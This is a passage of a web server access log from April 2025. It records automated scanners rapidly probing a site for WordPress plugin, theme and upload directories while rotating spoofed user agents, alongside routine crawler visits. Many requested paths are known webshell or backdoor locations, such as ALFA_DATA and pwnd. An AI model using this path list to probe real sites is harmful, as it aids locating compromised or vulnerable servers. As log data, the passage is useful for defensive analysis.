(Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.248.76.222 - - [25/Apr/2025:12:11:11 -0400] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:11 -0400] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:11 -0400] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.248.76.222 - - [25/Apr/2025:12:11:12 -0400] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.248.76.222 - - [25/Apr/2025:12:11:12 -0400] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.248.76.222 - - [25/Apr/2025:12:11:13 -0400] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.248.76.222 - - [25/Apr/2025:12:11:13 -0400] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.248.76.222 - - [25/Apr/2025:12:11:13 -0400] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:14 -0400] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:14 -0400] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:14 -0400] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:15 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:15 -0400] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.248.76.222 - - [25/Apr/2025:12:11:15 -0400] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.248.76.222 - - [25/Apr/2025:12:11:15 -0400] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.248.76.222 - - [25/Apr/2025:12:11:16 -0400] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:16 -0400] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.248.76.222 - - [25/Apr/2025:12:11:16 -0400] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.248.76.222 - - [25/Apr/2025:12:11:16 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.248.76.222 - - [25/Apr/2025:12:11:17 -0400] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.248.76.222 - - [25/Apr/2025:12:11:17 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:17 -0400] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.248.76.222 - - [25/Apr/2025:12:11:17 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.248.76.222 - - [25/Apr/2025:12:11:18 -0400] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.248.76.222 - - [25/Apr/2025:12:11:18 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.248.76.222 - - [25/Apr/2025:12:11:18 -0400] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:19 -0400] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.248.76.222 - - [25/Apr/2025:12:11:19 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.248.76.222 - - [25/Apr/2025:12:11:19 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.248.76.222 - - [25/Apr/2025:12:11:20 -0400] "GET /up/.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.248.76.222 - - [25/Apr/2025:12:11:20 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:21 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:22 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.248.76.222 - - [25/Apr/2025:12:11:23 -0400] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.248.76.222 - - [25/Apr/2025:12:11:23 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.248.76.222 - - [25/Apr/2025:12:11:24 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.248.76.222 - - [25/Apr/2025:12:11:24 -0400] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.248.76.222 - - [25/Apr/2025:12:11:24 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:25 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:25 -0400] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.248.76.222 - - [25/Apr/2025:12:11:25 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.248.76.222 - - [25/Apr/2025:12:11:25 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:26 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.248.76.222 - - [25/Apr/2025:12:11:26 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:26 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:26 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:27 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:27 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.248.76.222 - - [25/Apr/2025:12:11:27 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.248.76.222 - - [25/Apr/2025:12:11:28 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.248.76.222 - - [25/Apr/2025:12:11:28 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:28 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.248.76.222 - - [25/Apr/2025:12:11:28 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:29 -0400] "GET /plugins/jquery.filer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:29 -0400] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.248.76.222 - - [25/Apr/2025:12:11:29 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.248.76.222 - - [25/Apr/2025:12:11:29 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.248.76.222 - - [25/Apr/2025:12:11:30 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:30 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.248.76.222 - - [25/Apr/2025:12:11:30 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:30 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:31 -0400] "GET /index/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:31 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.248.76.222 - - [25/Apr/2025:12:11:31 -0400] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.248.76.222 - - [25/Apr/2025:12:11:31 -0400] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.248.76.222 - - [25/Apr/2025:12:11:32 -0400] "GET /routes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.248.76.222 - - [25/Apr/2025:12:11:32 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:32 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:32 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.248.76.222 - - [25/Apr/2025:12:11:33 -0400] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.248.76.222 - - [25/Apr/2025:12:11:33 -0400] "GET /templates/atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.248.76.222 - - [25/Apr/2025:12:11:33 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:34 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.248.76.222 - - [25/Apr/2025:12:11:34 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.248.76.222 - - [25/Apr/2025:12:11:34 -0400] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:34 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:34 -0400] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.248.76.222 - - [25/Apr/2025:12:11:35 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:35 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.248.76.222 - - [25/Apr/2025:12:11:35 -0400] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.248.76.222 - - [25/Apr/2025:12:11:35 -0400] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:36 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:36 -0400] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:36 -0400] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.248.76.222 - - [25/Apr/2025:12:11:36 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.248.76.222 - - [25/Apr/2025:12:11:37 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.248.76.222 - - [25/Apr/2025:12:11:37 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.248.76.222 - - [25/Apr/2025:12:11:37 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.248.76.222 - - [25/Apr/2025:12:11:37 -0400] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:37 -0400] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.176.23.38 - - [25/Apr/2025:12:33:29 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 77.238.230.6 - - [25/Apr/2025:12:41:52 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 80.85.245.5 - - [25/Apr/2025:12:42:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 4.227.36.122 - - [25/Apr/2025:13:08:31 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 20.171.207.171 - - [25/Apr/2025:13:08:33 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 80.85.245.145 - - [25/Apr/2025:13:29:30 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 66.249.79.106 - - [25/Apr/2025:13:38:28 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.105 - - [25/Apr/2025:13:38:29 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 40.69.92.173 - - [25/Apr/2025:13:57:39 -0400] "GET /wp-content/ccx/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:57:44 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:57:45 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:57:47 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:57:48 -0400] "GET /wordpress/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:57:49 -0400] "GET /assets/fonts/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:57:51 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:57:56 -0400] "GET /wp-content/plugins/css-ready/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:57:57 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:57:58 -0400] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:57:59 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:58:00 -0400] "GET /wp-includes/Requests/Text/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:58:00 -0400] "GET /wp-content/themes/wp-classic/inc/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:58:02 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:58:06 -0400] "GET /wp-includes.bak/html-api/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:58:09 -0400] "GET /wp-admin/maint/maint/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:58:13 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:58:15 -0400] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:58:16 -0400] "GET /wp-admin/js//wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:58:18 -0400] "GET /wp/wp-includes/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:58:19 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:58:25 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:58:41 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:58:47 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:58:53 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:58:56 -0400] "GET /filemanager/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:01 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:13:59:05 -0400] "GET 